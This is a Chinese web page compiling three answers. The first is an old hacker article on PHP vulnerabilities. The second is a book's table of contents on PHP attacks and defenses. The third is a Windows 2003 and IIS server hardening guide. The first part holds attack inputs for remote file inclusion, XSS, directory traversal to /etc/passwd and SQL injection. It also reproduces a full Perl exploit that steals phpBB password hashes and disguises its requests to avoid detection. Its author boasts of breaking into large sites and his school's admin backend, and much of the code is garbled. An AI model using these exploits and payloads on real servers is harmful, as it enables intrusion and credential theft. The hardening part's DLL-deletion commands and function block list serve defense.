❶ php源码漏洞多少钱
从现在的网络安全来看,大家最关注和接触最多的WEB页面漏洞应该是ASP了,在这方面,小竹是专家,我没发言权.然而在PHP方面来看,也同样存在
很严重的安全问题,但是这方面的文章却不多.在这里,就跟大家来稍微的讨论一下PHP页面的相关漏洞吧.
我对目前常见的PHP漏洞做了一下总结,大致分为以下几种包含文件漏洞,脚本命令执行漏洞,文件泄露漏洞,SQL注入漏洞等几种.当然,至于
COOKIE欺骗等一部分通用的技术就不在这里讨论了,这些资料网上也很多.那么,我们就一个一个来分析一下怎样利用这些漏洞吧!
首先,我们来讨论包含文件漏洞.这个漏洞应该说是PHP独有的吧.这是由于不充分处理外部提供的恶意数据,从而导致远程攻击者可以利用这
些漏洞以WEB进程权限在系统上执行任意命令.我们来看一个例子假设在a.php中有这样一句代码
php
include($include.***.php);
在这段代码中,$include一般是一个已经设置好的路径,但是我们可以通过自己构造一个路径来达到攻击的目的.比方说我们提交
a.phpinclude=httpwebb.php,这个web是我们用做攻击的空间,当然,b.php也就是我们用来攻击的代码了.我们可以在b.php中写入类似于
passthru(binls etc);的代码.这样,就可以执行一些有目的的攻击了.(注web服务器应该不能执行php代码,不然就出问题了.相关详情可以去看
如何对PHP程序中的常见漏洞进行攻击).在这个漏洞方面,出状况的很多,比方说PayPal Store Front,
HotNews,Mambo Open Source,PhpDig,YABB SE,phpBB,InvisionBoard,SOLMETRA SPAW Editor,Les Visiteurs,PhpGedView,X-Cart等等一些.
接着,我们再来看一下脚本命令执行漏洞.这是由于对用户提交的URI参数缺少充分过滤,提交包含恶意HTML代码的数据,可导致触发跨站脚
本攻击,可能获得目标用户的敏感信息。我们也举个例子在PHP Transparent的PHP PHP 4.3.1以下版本中的index.php页面对PHPSESSID缺少充
分的过滤,我们可以通过这样的代码来达到攻击的目的
httpwebindex.phpPHPSESSID=script...script在script里面我们可以构造函数来获得用户的一些敏感信息.在这个漏洞方面相对要少一点,除了
PHP Transparent之外还有PHP-Nuke,phpBB,PHP Classifieds,PHPix,Ultimate PHP Board等等.
再然后,我们就来看看文件泄露漏洞了.这种漏洞是由于对用户提交参数缺少充分过滤,远程攻击者可以利用它进行目录遍历攻击以及获取
一些敏感信息。我们拿最近发现的phpMyAdmin来做例子.在phpMyAdmin中,export.php页面没有对用户提交的'what'参数进行充分过滤,远程攻击
者提交包含多个'..'字符的数据,便可绕过WEB ROOT限制,以WEB权限查看系统上的任意文件信息。比方说打入这样一个地址
export.phpwhat=............etcpasswd%00 就可以达到文件泄露的目的了.在这方面相对多一点,有myPHPNuke,McNews等等.
最后,我们又要回到最兴奋的地方了.想想我们平时在asp页面中用SQL注入有多么爽,以前还要手动注入,一直到小竹悟出SQL注入密笈(嘿
嘿),然后再开做出NBSI以后,我们NB联盟真是拉出一片天空.曾先后帮CSDN,大富翁论坛,中国频道等大型网站找出漏洞.(这些废话不多说了,有点
跑题了...).还是言规正传,其实在asp中SQL的注入和php中的SQL注入大致相同,只不过稍微注意一下用的几个函数就好了.将asc改成ASCII,len
改成LENGTH,其他函数基本不变了.其实大家看到PHP的SQL注入,是不是都会想到PHP-NUKE和PHPBB呢不错,俗话说树大招分,像动网这样的论坛在
asp界就该是漏洞这王了,这并不是说它的论坛安全太差,而是名气太响,别人用的多了,研究的人也就多了,发现的安全漏洞也就越多了.PHPBB也
是一样的,现在很大一部分人用PHP做论坛的话,一般都是选择了PHPBB.它的漏洞也是一直在出,从最早phpBB.com phpBB 1.4.0版本被人发现漏洞
,到现在最近的phpBB 2.0.6版本的groupcp.php,以及之前发现的search.php,profile.php,viewtopic.php等等加起来,大概也有十来个样子吧.
这也一直导致,一部分人在研究php漏洞的时候都会拿它做实验品,所谓百练成精嘛,相信以后的PHPBB会越来越好.
好了,我们还是来分析一下漏洞产生的原因吧.拿viewtopic.php页面来说,由于在调用viewtopic.php时,直接从GET请求中获得topic_id并
传递给SQL查询命令,而并没有进行一些过滤的处理,攻击者可以提交特殊的SQL字符串用于获得MD5密码,获得此密码信息可以用于自动登录或者
进行暴力破解。(我想应该不会有人想去暴力破解吧,除非有特别重要的原因).先看一下相关源代码
# if ( isset($HTTP_GET_VARS[POST_TOPIC_URL]) )
# {
# $topic_id = intval($HTTP_GET_VARS[POST_TOPIC_URL]);
# }
# else if ( isset($HTTP_GET_VARS['topic']) )
# {
# $topic_id = intval($HTTP_GET_VARS['topic']);
# }
从上面我们可以看出,如果提交的view=newest并且sid设置了值的话,执行的查询代码像下面的这个样子(如果你还没看过PHPBB源代码的话,建议
你看了再对着这里来看,受影响系统为phpBB 2.0.5和phpBB 2.0.4).
# $sql = SELECT p.post_id
# FROM . POSTS_TABLE . p, . SESSIONS_TABLE . s, . USERS_TABLE . u
# WHERE s.session_id = '$session_id'
# AND u.user_id = s.session_user_id
# AND p.topic_id = $topic_id
# AND p.post_time = u.user_lastvisit
# ORDER BY p.post_time ASC
# LIMIT 1;
Rick提供了下面的这断测试代码
use IOSocket;
$remote = shift 'localhost';
$view_topic = shift 'phpBB2viewtopic.php';
$uid = shift 2;
$port = 80;
$dbtype = 'mysql4'; # mysql4 or pgsql
print Trying to get password hash for uid $uid server $remote dbtype $dbtypen;
$p = ;
for($index=1; $index=32; $index++)
{
$socket = IOSocketINET-new(PeerAddr = $remote,
PeerPort = $port,
Proto = tcp,
Type = SOCK_STREAM)
or die Couldnt connect to $remote$port [email=$@n]$@n[/email];
$str = GET $view_topic . sid=1&topic_id=-1 . random_encode(make_dbsql()) . &view=newest . HTTP1.0nn;
print $socket $str;
print $socket Cookie phpBB2mysql_sid=1n; # replace this for pgsql or remove it
print $socket Host $remotenn;
while ($answer = $socket)
{
if ($answer =~ location.x23(d+)) # Matches the location viewtopic.phpp=num#num
{
$p .= chr ($1);
}
}
close($socket);
}
print nMD5 Hash for uid $uid is $pn;
# random encode str. helps avoid detection
sub random_encode
{
$str = shift;
$ret = ;
for($i=0; $ilength($str); $i++)
{
$c = substr($str,$i,1);
$j = rand length($str) 1000;
if (int($j) % 2 $c eq ' ')
{
$ret .= % . sprintf(%x,ord($c));
}
else
{
$ret .= $c;
}
}
return $ret;
}
sub make_dbsql
{
if ($dbtype eq 'mysql4')
{
return union select ord(substring(user_password, . $index . ,1)) from phpbb_users where user_id=$uid ;
} elsif ($dbtype eq 'pgsql')
{
return ; select ascii(substring(user_password from $index for 1)) as post_id from phpbb_posts p, phpbb_users
u where u.user_id=$uid or false;
}
else
{
return ;
}
}
这断代码,我就不多做解释了.作用是获得HASH值.
看到这里,大家可能有点疑问,为什么我前面讲的那些改的函数怎么没有用到,我讲出来不怕大家笑话其实网上很多站点有些页面的查询语句
看起来会是这样
display.phpsqlsave=select++from+aaa+where+xx=yy+order+by+bbb+desc
不要笑,这是真的,我还靠这个进过几个大型网站.至于哪一些,不好讲出来,不过我们学校的网站,我就是靠这个进后台的(希望学校网络中心的看
不到这篇文章,^_^).把前面那函数用上吧.不然你只有改人家的密码了哦!!!
差点忘了一点,在SQL注入的时候,PHP与ASP有所不同,MySQL对sql语句的运用没有mssql灵活,因此,很多在mssql上可以用的查询语句在mysql
数据库中都不能奏效了. 一般我们常见的注入语句像这样aaa.phpid=a' into outfile 'pass.txt或是aaa.phpid=a' into outfile 'pass.txt'
再进一步可以改成aaa.phpid=a' or 1=1 union select id,name,password form users into outfile 'ca.txt
这样可以将数据库数据导出为文件,然后可以查看.
或是这样mode=',user_level='4
这个语句一般用在修改资料时,假设页面存在漏洞的话,就可以达到提升权限的做用.
其它的如' OR 1=1 -- 或者1' or 1='1则跟asp差不多.这里不多讲了.在php里面,SQL注入看来还是漏洞之首啊,有太多的页面存在这个问题了.
其实大家可以看出来,上面那些分类归根结底只有一个原因提交参数没过滤或是过滤不够严谨.黑客防线向来有攻有守.这里,就大致讲一下
防范的方法吧.
首先,我个人认为最重要的一点是将magic_quotes_gpc高为ON,它的作用是将单引号,双引号,反斜线,和空字符转换为含有反斜线的字符,如
select from admin where username='$username' and password='$password'语句,攻击者想用1' or 1='1跳过验证,但是,那些字符串将被转
换成这样select from admin where username='a' and password='1' or 1='1'从而达到阻止注入的目的,事实也就是自动进行了addslashes
()操作.再不行的话,自己定义函数处理吧.现在看来,那些搞PHP注入的人也比较郁闷,因为myslq4以下版本不支持子语句,而新版本的mysql又会
将magic_quotes_gpc选项默认为开.
解决包含文件漏洞用的方法就是要求程序员包含文件里的参数尽量不要使用变量,如果使用变量,就一定要严格检查要包含的文件名,绝
对不能由用户任意指定,建议设global_variables为off。如前面文件打开中限制PHP操作路径是一个必要的选项。另外,如非特殊需要,一定要
关闭PHP的远程文件打开功能。修改php.ini文件:allow_url_fopen = Off(注参见PHP安全问题:远程溢出、DoS、safe_mode绕过漏洞).
还有一点我觉得很多网站都会有这个问题,就是没有关错误显示.轻一看可能没什么,但是一些盯了很久(用词有点不对哦)的人就可以通过错
误提示来获得如数据库信息,网页文件物理路径等等.
❷ 黑客入侵网页攻防修炼的图书目录
第1章PHP网页的安全性1
1.1什么是安全性2
1.1.1黑客攻击的方式2
1.1.2PHP网页的安全性问题3
1.2RegisterGlobals4
1.3安全模式7
1.3.1限制文件的存取8
1.3.2限制环境变量的存取8
1.3.3限制外部程序的执行9
1.4MagicQuotes9
1.4.1使用MagicQuotes的好处10
1.4.2使用MagicQuotes的坏处10
1.4.3取消MagicQuotes功能11
1.5修改PHP的设定值11
1.5.1在php.ini文件中修改设定值12
1.5.2在httpd.conf文件中修改设定值13
1.5.3在.htaccess文件中修改设定值13
1.5.4在程序中修改设定值13
第2章CommandInjection–命令注入攻击15
2.1PHP的命令执行函数16
2.1.1System函数16
2.1.2Exec函数17
2.1.3passthru函数18
2.1.4shell_exec函数18
2.1.5运算符19
2.2命令注入攻击19
2.2.1攻击实例一19
2.2.2攻击实例二20
2.2.3攻击实例三21
2.2.4命令注入的方式21
2.3eval注入攻击22
2.3.1攻击没有作用23
2.3.2可变变量24
2.3.3pre_replace函数24
2.3.4ace函数26
2.3.5动态函数27
2.3.6call_user_func函数29
2.4防范的方法30
2.4.1使用escapeshellarg函数来处理命令的参数30
2.4.2使用safe_mode_exec_dir指定的可执行文件的路径32
第3章ScriptInsertion–客户端脚本植入攻击33
3.1客户端脚本植入攻击34
3.2攻击实例:在留言板中插入脚本35
3.2.1开始攻击:显示简单的对话框37
3.2.2没有显示对话框38
3.2.3打开InternetExplorer的活动脚本功能39
3.2.4关闭PHP的magic_quotes_gpc40
3.2.5利用数据库来攻击41
3.2.6本章的数据库42
3.2.7浏览植入脚本的留言44
3.2.8破坏性的攻击手法:显示无穷尽的新窗口45
3.2.9引诱性的攻击手法:跳转网址46
3.3防范的方法48
3.3.1HTML输出过滤48
3.3.2使用strip_tags函数来进行HTML输出过滤48
3.3.3strip_tags函数的缺点50
3.3.4使用htmlspecialchars函数来进行HTML输出过滤52
第4章XSS–跨网站脚本攻击53
4.1什么是“跨网站脚本攻击”56
4.2跨网站脚本攻击58
4.2.1本章的数据库60
4.2.2登录首页61
4.2.3如何攻击62
4.2.4开始攻击62
4.2.5没有显示对话框64
4.2.6如何取得目标用户的cookie内容64
4.2.7服务器的记录文件67
4.3防范的方法67
4.4隐藏在$_SERVER[PHP_SELF]变量内的脚本70
4.4.1实际范例71
4.4.2拆解 标签的内容73
4.4.3避免$_SERVER[PHP_SELF]被篡改74
第5章SQLInjection–SQL注入攻击77
5.1SQL注入攻击78
5.2攻击实例:绕过账号、密码的检查79
5.2.1如何攻击81
5.2.2开始攻击82
5.2.3只填入账号84
5.3攻击实例:删除数据库的所有记录84
5.3.1删除留言的记录86
5.3.2如何攻击87
5.3.3开始攻击88
5.4攻击实例:盗取密码89
5.4.1如何攻击91
5.4.2开始攻击91
5.5防范的方法93
5.5.1数字型变量的过滤方式93
5.5.2字符串变量的过滤方式:使用addslashes函数94
第6章CSRF–跨网站请求伪造攻击97
6.1跨网站请求伪造攻击98
6.2攻击实例:删除数据库的一条记录99
6.2.1删除留言的记录101
6.2.2如何攻击102
6.2.3开始攻击103
6.3攻击实例:新增数据库的一条记录104
6.3.1如何攻击105
6.3.2开始攻击106
6.4防范的方法107
6.4.1检查网页的来源108
6.4.2检查内置的隐藏变量111
6.4.3使用POST,不要使用GET113
第7章SessionHijacking–会话劫持攻击115
7.1什么是Session116
7.1.1sessionid116
7.1.2Session的名称118
7.2PHP的Session机制119
7.2.1URL参数119
7.2.2表单中隐藏属性的文本框120
7.2.3Cookie121
7.3会话劫持攻击123
7.3.1攻击的步骤124
7.3.2如何攻击124
7.3.3开始攻击127
7.4Session固定攻击129
7.4.1攻击的步骤130
7.4.2攻击的方式131
7.5防范的方法132
7.5.1定期更改sessionid132
7.5.2更改Session的名称133
7.5.3关闭透明化sessionid的功能133
7.5.4只从cookie检查sessionid134
7.5.5检查浏览器是否改变134
7.5.6使用URL传递秘密参数135
第8章HTTPResponseSplitting–HTTP响应拆分攻击137
8.1HTTP简介138
8.1.1HTTP请求的格式138
8.1.2HTTP请求的方法139
8.1.3HTTP响应的格式139
8.1.4使用header函数发送HTTP表头143
8.1.5使用PHP的函数来替代Telnet143
8.2HTTP响应拆分攻击144
8.3攻击实例:跳转地址149
8.4与Session固定结合攻击150
8.5防范的方法150
8.5.1将session.use_only_cookies设置为1152
8.5.2使用最新版的PHP152
8.6隐藏HTTP响应表头152
第9章FileUploadAttack–文件上传攻击155
9.1文件上传156
9.1.1上传文件的大小157
9.1.2$_FILES数组变量158
9.1.3存放上传文件的文件夹159
9.1.4上传文件时的错误信息159
9.2文件上传攻击159
9.2.1上传可执行文件160
9.2.2覆盖原有文件162
9.2.3瘫痪网站162
9.2.4存取上传的文件数据162
9.3防范的方法162
9.3.1关掉上传文件的功能163
9.3.2限制允许上传的文件大小163
9.3.3检查是否真的是上传的文件164
9.3.4更改临时文件夹的路径166
9.3.5读取上传文件的绝对路径与文件名称167
9.3.6隐藏文件的路径168
第10章目录/文件攻击169
10.1目录穿越攻击170
10.1.1如何攻击170
10.1.2开始攻击171
10.1.3Microsoft的IIS服务器173
10.2远程文件引入攻击173
10.2.1如何攻击174
10.2.2开始攻击174
10.2.3与目录穿越结合攻击175
10.2.4与HTTP响应分割结合攻击177
10.3防范的方法179
10.3.1使用者输入的文件名179
10.3.2设置open_basedir181
10.3.3设置allow_url_fopen为Off182
10.3.4使用realpath与basename函数来处理文件名182
第11章其他的攻击183
11.1变量指定攻击184
11.2URL攻击187
11.2.1开始攻击187
11.2.2防范的方法188
11.3表单欺骗攻击189
11.4HTTP请求欺骗攻击191
11.5拒绝服务攻击193
11.5.1SYNFlood攻击194
11.5.2LAND攻击195
11.5.3PingofDeath攻击195
11.5.4PingFlood攻击195
11.5.5Teardrop攻击195
11.5.6Pear-to-pear攻击196
11.5.7分布式拒绝服务攻击196
11.5.8防范的方法196
11.5.9SYNCookies197
11.5.10防火墙197
11.5.11分享器与路由器197
11.5.12应用程序前端硬件197
11.6网页劫持攻击198
11.7缓冲区溢位攻击198
11.7.1基本范例199
11.7.2堆栈溢出199
第12章攻击手法汇总201
12.1命令注入攻击202
12.1.1程序代码漏洞1202
12.1.2攻击手法1202
12.1.3程序代码漏洞2203
12.1.4攻击手法2203
12.1.5命令注入的方式203
12.1.6防范的方法204
12.2eval注入攻击204
12.2.1程序代码漏洞1204
12.2.2攻击手法205
12.2.3程序代码漏洞2205
12.2.4攻击手法205
12.2.5程序代码漏洞3206
12.2.6攻击手法206
12.2.7程序代码漏洞4206
12.2.8攻击手法206
12.2.9防范的方法207
12.3客户端脚本注入攻击207
12.3.1程序代码漏洞1207
12.3.2攻击手法207
12.3.3程序代码漏洞2207
12.3.4攻击手法208
12.3.5防范的方法208
12.4跨网站脚本攻击208
12.4.1程序代码漏洞1209
12.4.2攻击手法209
12.4.3程序代码漏洞2209
12.4.4攻击手法209
12.4.5防范的方法209
12.5SQL注入攻击210
12.5.1程序代码漏洞1210
12.5.2攻击手法211
12.5.3程序代码漏洞2211
12.5.4攻击手法211
12.5.5程序代码漏洞3211
12.5.6攻击手法212
12.5.7防范的方法212
12.6跨网站请求伪造攻击213
12.6.1程序代码漏洞1213
12.6.2攻击手法214
12.6.3程序代码漏洞2214
12.6.4攻击手法214
12.6.5防范的方法215
12.7Session劫持攻击216
12.7.1程序代码漏洞216
12.7.2攻击手法217
12.7.3防范的方法217
12.8Session固定攻击218
12.8.1程序代码漏洞218
12.8.2攻击手法218
12.8.3防范的方法219
12.9HTTP响应拆分攻击221
12.9.1程序代码漏洞1221
12.9.2攻击手法221
12.9.3程序代码漏洞2222
12.9.4攻击手法222
12.9.5防范的方法222
12.10文件上传攻击223
12.10.1程序代码漏洞223
12.10.2攻击手法224
12.10.3防范的方法224
12.11目录穿越攻击225
12.11.1程序代码漏洞225
12.11.2攻击手法226
12.11.3防范的方法226
12.12远程文件引入攻击226
12.12.1程序代码漏洞227
12.12.2攻击手法1227
12.12.3攻击手法2227
12.12.4防范的方法227
12.13变量指定攻击228
12.13.1程序代码漏洞228
12.13.2攻击手法228
12.13.3防范的方法229
第13章漏洞扫描器231
13.1什么是“漏洞扫描器”232
13.2Nessus漏洞扫描器232
13.2.1Nessus的特点233
13.2.2下载与安装233
13.2.3执行Nessus234
13.2.4Nessus检查漏洞的方式237
13.3MaxPatrol漏洞扫描器238
13.4Paros漏洞扫描器240
13.4.1Paros的特点240
13.4.2下载与安装241
13.4.3设置浏览器的Proxy241
13.4.4执行Paros243
13.4.5扫描漏洞244
13.4.6检视HTTP请求与响应的内容245
13.4.7Paros的Trap功能245
13.4.8URL编码与解码246
第14章开发安全的Web程序247
14.1什么是“安全的Web应用程序”248
14.2过滤输入的数据248
14.2.1为什么要过滤数据249
14.2.2基本的数据过滤程序251
14.2.3数字数据的过滤252
14.2.4字符串数据的过滤253
14.2.5HTML与PHP标签的过滤254
14.2.6文件路径的过滤255
14.2.7序列化字符串的过滤256
14.3转义输出的数据257
14.3.1基本的转义程序257
14.3.2转义SQL表达式的字符串258
14.3.3使用addslashes函数258
14.4RegisterGlobals259
14.4.1隐藏RegisterGlobals所发生的问题260
14.4.2$_REQUEST变量261
14.4.3$_SERVER变量261
14.5magic_quotes_gpc261
14.6错误信息的报告262
14.7文件的安全263
14.8Session的安全264
14.8.1Session固定攻击264
14.8.2Session的保存265
14.9虚拟主机266
14.9.1可预测的临时文件名称266
14.9.2隐藏表头的信息267
14.9.3系统异常的监测267
附录
附录ATelnet使用说明269
A.1Telnet简介270
A.2打开Windows的Telnet服务270
A.3Telnet使用说明272
A.4使用Telnet连接到本地主机273
A.5在HTTP表头内加上要执行的文件275
附录B查看HTTP请求与响应的实际内容277
B.1如何查看HTTP请求与响应的实际内容280
B.2修改HTTP请求/响应的内容281
B.3显示HTTP请求/响应的参数282
B.4显示上传文件的HTTP请求283
附录CURL编码与解码285
附录D构建PHP的测试环境285
D.1AppServ整合包288
D.2安装AppServ整合包289
D.3测试AppServ是否正确安装293
D.4服务器的文件夹位置293
附录E找出网站的IP地址285
E.1使用Ping命令296
E.2使用NetInfo296
E.3无法找出IP地址297
……
❸ windows 2003服务器各种服务如何设置
第一步:
一、先关闭不需要的端口
我比较小心,先关了端口。只开了3389 21 80 1433(MYSQL)有些人一直说什么默认的3389不安全,对此我不否认,但是利用的途径也只能一个一个的穷举爆破,你把帐号改
了密码设置为十五六位,我估计他要破上好几年,哈哈!办法:本地连接--属性--Internet协议(TCP/IP)--高级--选项--TCP/IP筛选--属性--把勾打上 然后添加你需要的端口即可。PS一句:设置完端口需要重新启动!
当然大家也可以更改远程连接端口方法:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]
"PortNumber"=dword:00002683
保存为.REG文件双击即可!更改为9859,当然大家也可以换别的端口, 直接打开以上注册表的地址,把值改为十进制的输入你想要的端口即可!重启生效!
还有一点,在2003系统里,用TCP/IP筛选里的端口过滤功能,使用FTP服务器的时候,只开放21端口,在进行FTP传输的时候,FTP 特有的Port模式和Passive模式,在进行数据传输的时候,需要动态的打开高端口,所以在使用TCP/IP过滤的情况下,经常会出现连接上后无法列出目录和数据传输的问题。所以在2003系统上增加的windows连接防火墙能很好的解决这个问题,所以都不推荐使用网卡的TCP/IP过滤功能。所做FTP下载的用户看仔细点,表怪俺说俺写文章是垃圾...如果要关闭不必要的端口,在\\system32\\drivers\\etc\\services中有列表,记事本就可以打开的。如果懒惰的话,最简单的方法是启用WIN2003的自身带的网络防火墙,并进行端口的改变。功能还可以!Internet 连接防火墙可以有效地拦截对Windows 2003服务器的非法入侵,防止非法远程主机对服务器的扫描,提高Windows 2003服务器的安全性。同时,也可以有效拦截利用操作系统漏洞进行端口攻击的病毒,如冲击波等蠕虫病毒。如果在用Windows 2003构造的虚拟路由器上启用此防火墙功能,能够对整个内部网络起到很好的保护作用。
二、关闭不需要的服务 打开相应的审核策略
我关闭了以下的服务
Computer Browser 维护网络上计算机的最新列表以及提供这个列表
Task scheler 允许程序在指定时间运行
Routing and Remote Access 在局域网以及广域网环境中为企业提供路由服务
Removable storage 管理可移动媒体、驱动程序和库
Remote Registry Service 允许远程注册表操作
Print Spooler 将文件加载到内存中以便以后打印。要用打印机的朋友不能禁用这项
IPSEC Policy Agent 管理IP安全策略以及启动ISAKMP/OakleyIKE)和IP安全驱动程序
Distributed Link Tracking Client 当文件在网络域的NTFS卷中移动时发送通知
Com+ Event System 提供事件的自动发布到订阅COM组件
Alerter 通知选定的用户和计算机管理警报
Error Reporting Service 收集、存储和向 Microsoft 报告异常应用程序
Messenger 传输客户端和服务器之间的 NET SEND 和 警报器服务消息
Telnet 允许远程用户登录到此计算机并运行程序
把不必要的服务都禁止掉,尽管这些不一定能被攻击者利用得上,但是按照安全规则和标准上来说,多余的东西就没必要开启,减少一份隐患。
在"网络连接"里,把不需要的协议和服务都删掉,这里只安装了基本的Internet协议(TCP/IP),由于要控制带宽流量服务,额外安装了Qos数据包计划程序。在高级tcp/ip设置里--"NetBIOS"设置"禁用tcp/IP上的NetBIOS(S)"。在高级选项里,使用"Internet连接防火墙",这是windows 2003 自带的防火墙,在2000系统里没有的功能,虽然没什么功能,但可以屏蔽端口,这样已经基本达到了一个IPSec的功能。
在运行中输入gpedit.msc回车,打开组策略编辑器,选择计算机配置-Windows设置-安全设置-审核策略在创建审核项目时需要注意的是如果审核的项目太多,生成的事件也就越多,那么要想发现严重的事件也越难当然如果审核的太少也会影响你发现严重的事件,你需要根据情况在这二者之间做出选择。
推荐的要审核的项目是:
登录事件 成功 失败
账户登录事件 成功 失败
系统事件 成功 失败
策略更改 成功 失败
对象访问 失败
目录服务访问 失败
特权使用 失败
三、磁盘权限设置
1.系统盘权限设置
C:分区部分:
c:\
administrators 全部(该文件夹,子文件夹及文件)
CREATOR OWNER 全部(只有子文件来及文件)
system 全部(该文件夹,子文件夹及文件)
IIS_WPG 创建文件/写入数据(只有该文件夹)
IIS_WPG(该文件夹,子文件夹及文件)
遍历文件夹/运行文件
列出文件夹/读取数据
读取属性
创建文件夹/附加数据
读取权限
c:\Documents and Settings
administrators 全部(该文件夹,子文件夹及文件)
Power Users (该文件夹,子文件夹及文件)
读取和运行
列出文件夹目录
读取
SYSTEM全部(该文件夹,子文件夹及文件)
C:\Program Files
administrators 全部(该文件夹,子文件夹及文件)
CREATOR OWNER全部(只有子文件来及文件)
IIS_WPG (该文件夹,子文件夹及文件)
读取和运行
列出文件夹目录
读取
Power Users(该文件夹,子文件夹及文件)
修改权限
SYSTEM全部(该文件夹,子文件夹及文件)
TERMINAL SERVER USER (该文件夹,子文件夹及文件)
修改权限
2.网站及虚拟机权限设置(比如网站在E盘)
说明:我们假设网站全部在E盘wwwsite目录下,并且为每一个虚拟机创建了一个guest用户,用户名为vhost1...vhostn并且创建了一个webuser组,把所有的vhost用户全部加入这个webuser组里面方便管理。
E:\
Administrators全部(该文件夹,子文件夹及文件)
E:\wwwsite
Administrators全部(该文件夹,子文件夹及文件)
system全部(该文件夹,子文件夹及文件)
service全部(该文件夹,子文件夹及文件)
E:\wwwsite\vhost1
Administrators全部(该文件夹,子文件夹及文件)
system全部(该文件夹,子文件夹及文件)
vhost1全部(该文件夹,子文件夹及文件)
3.数据备份盘
数据备份盘最好只指定一个特定的用户对它有完全操作的权限。比如F盘为数据备份盘,我们只指定一个管理员对它有完全操作的权限。
4.其它地方的权限设置
请找到c盘的这些文件,把安全性设置只有特定的管理员有完全操作权限。
下列这些文件只允许administrators访问
net.exe
net1.exet
cmd.exe
tftp.exe
netstat.exe
regedit.exe
at.exe
attrib.exe
cacls.exe
format.com
5.删除c:\inetpub目录,删除iis不必要的映射,建立陷阱帐号,更改描述。
四、防火墙、杀毒软件的安装
我见过的Win2000/Nt服务器从来没有见到有安装了防毒软件的,其实这一点非常重要。一些好的杀毒软件不仅能杀掉一些著名的病毒,还能查杀大量木马和后门程序。这样的话,“黑客”们使用的那些有名的木马就毫无用武之地了。不要忘了经常升级病毒库,我们推荐mcafree杀毒软件+blackice防火墙
五、SQL2000 SERV-U FTP安全设置
SQL安全方面
1.System Administrators 角色最好不要超过两个
2.如果是在本机最好将身份验证配置为Win登陆
3.不要使用Sa账户,为其配置一个超级复杂的密码
4.删除以下的扩展存储过程格式为:
use master
sp_dropextendedproc '扩展存储过程名'
xp_cmdshell:是进入操作系统的最佳捷径,删除
访问注册表的存储过程,删除
Xp_regaddmultistring Xp_regdeletekey Xp_regdeletevalue Xp_regenumvalues
Xp_regread Xp_regwrite Xp_regremovemultistring
OLE自动存储过程,不需要删除
Sp_OACreate Sp_OADestroy Sp_OAGetErrorInfo Sp_OAGetProperty
Sp_OAMethod Sp_OASetProperty Sp_OAStop
5.隐藏 SQL Server、更改默认的1433端口
右击实例选属性-常规-网络配置中选择TCP/IP协议的属性,选择隐藏 SQL Server 实例,并改原默认的1433端口
serv-u的几点常规安全需要设置下:
选中"Block "FTP_bounce"attack and FXP"。什么是FXP呢?通常,当使用FTP协议进行文件传输时,客户端首先向FTP服务器发出一个"PORT"命令,该命令中包含此用户的IP地址和将被用来进行数据传输的端口号,服务器收到后,利用命令所提供的用户地址信息建立与用户的连接。大多数情况下,上述过程不会出现任何问题,但当客户端是一名恶意用户时,可能会通过在PORT命令中加入特定的地址信息,使FTP服务器与其它非客户端的机器建立连接。虽然这名恶意用户可能本身无权直接访问某一特定机器,但是如果FTP服务器有权访问该机器的话,那么恶意用户就可以通过FTP服务器作为中介,仍然能够最终实现与目标服务器的连接。这就是FXP,也称跨服务器攻击。选中后就可以防止发生此种情况。
六、IIS安全设置
IIS的相关设置:
删除默认建立的站点的虚拟目录,停止默认web站点,删除对应的文件目录c:inetpub,配置所有站点的公共设置,设置好相关的连接数限制,带宽设置以及性能设置等其他设置。配置应用程序映射,删除所有不必要的应用程序扩展,只保留asp,php,cgi,pl,aspx应用程序扩展。对于php和cgi,推荐使用isapi方式解析,用exe解析对安全和性能有所影响。用户程序调试设置发送文本错误信息给户。对于数据库,尽量采用mdb后缀,不需要更改为asp,可在IIS中设置一个mdb的扩展映射,将这个映射使用一个无关的dll文件如C:WINNTsystem32inetsrvssinc.dll来防止数据库被下载。设置IIS的日志保存目录,调整日志记录信息。设置为发送文本错误信息。修改403错误页面,将其转向到其他页,可防止一些扫描器的探测。另外为隐藏系统信息,防止telnet到80端口所泄露的系统版本信息可修改IIS的banner信息,可以使用winhex手工修改或者使用相关软件如banneredit修改。
对于用户站点所在的目录,在此说明一下,用户的FTP根目录下对应三个文件佳,wwwroot,database,logfiles,分别存放站点文件,数据库备份和该站点的日志。如果一旦发生入侵事件可对该用户站点所在目录设置具体的权限,图片所在的目录只给予列目录的权限,程序所在目录如果不需要生成文件(如生成html的程序)不给予写入权限。因为是虚拟主机平常对脚本安全没办法做到细致入微的地步,更多的只能在方法用户从脚本提升权限:
ASP的安全设置:
http://www.knowsky.com/system.asp
设置过权限和服务之后,防范asp木马还需要做以下工作,在cmd窗口运行以下命令:
regsvr32/u C:\WINNT\System32\wshom.ocx
del C:\WINNT\System32\wshom.ocx
regsvr32/u C:\WINNT\system32\shell32.dll
del C:\WINNT\system32\shell32.dll
即可将WScript.Shell, Shell.application, WScript.Network组件卸载,可有效防止asp木马通过wscript或shell.application执行命令以及使用木马查看一些系统敏感信息。另法:可取消以上文件的users用户的权限,重新启动IIS即可生效。但不推荐该方法。
另外,对于FSO由于用户程序需要使用,服务器上可以不注销掉该组件,这里只提一下FSO的防范,但并不需要在自动开通空间的虚拟商服务器上使用,只适合于手工开通的站点。可以针对需要FSO和不需要FSO的站点设置两个组,对于需要FSO的用户组给予c:winntsystem32scrrun.dll文件的执行权限,不需要的不给权限。重新启动服务器即可生效。
对于这样的设置结合上面的权限设置,你会发现海阳木马已经在这里失去了作用!
PHP的安全设置:
默认安装的php需要有以下几个注意的问题:
C:\winnt\php.ini只给予users读权限即可。在php.ini里需要做如下设置:
Safe_mode=on
register_globals = Off
allow_url_fopen = Off
display_errors = Off
magic_quotes_gpc = On [默认是on,但需检查一遍]
open_basedir =web目录
disable_functions =passthru,exec,shell_exec,system,phpinfo,get_cfg_var,popen,chmod
默认设置com.allow_dcom = true修改为false[修改前要取消掉前面的;]
MySQL安全设置:
如果服务器上启用MySQL数据库,MySQL数据库需要注意的安全设置为:
删除mysql中的所有默认用户,只保留本地root帐户,为root用户加上一个复杂的密码。赋予普通用户updatedeletealertcreatedrop权限的时候,并限定到特定的数据库,尤其要避免普通客户拥有对mysql数据库操作的权限。检查mysql.user表,取消不必要用户的shutdown_priv,relo
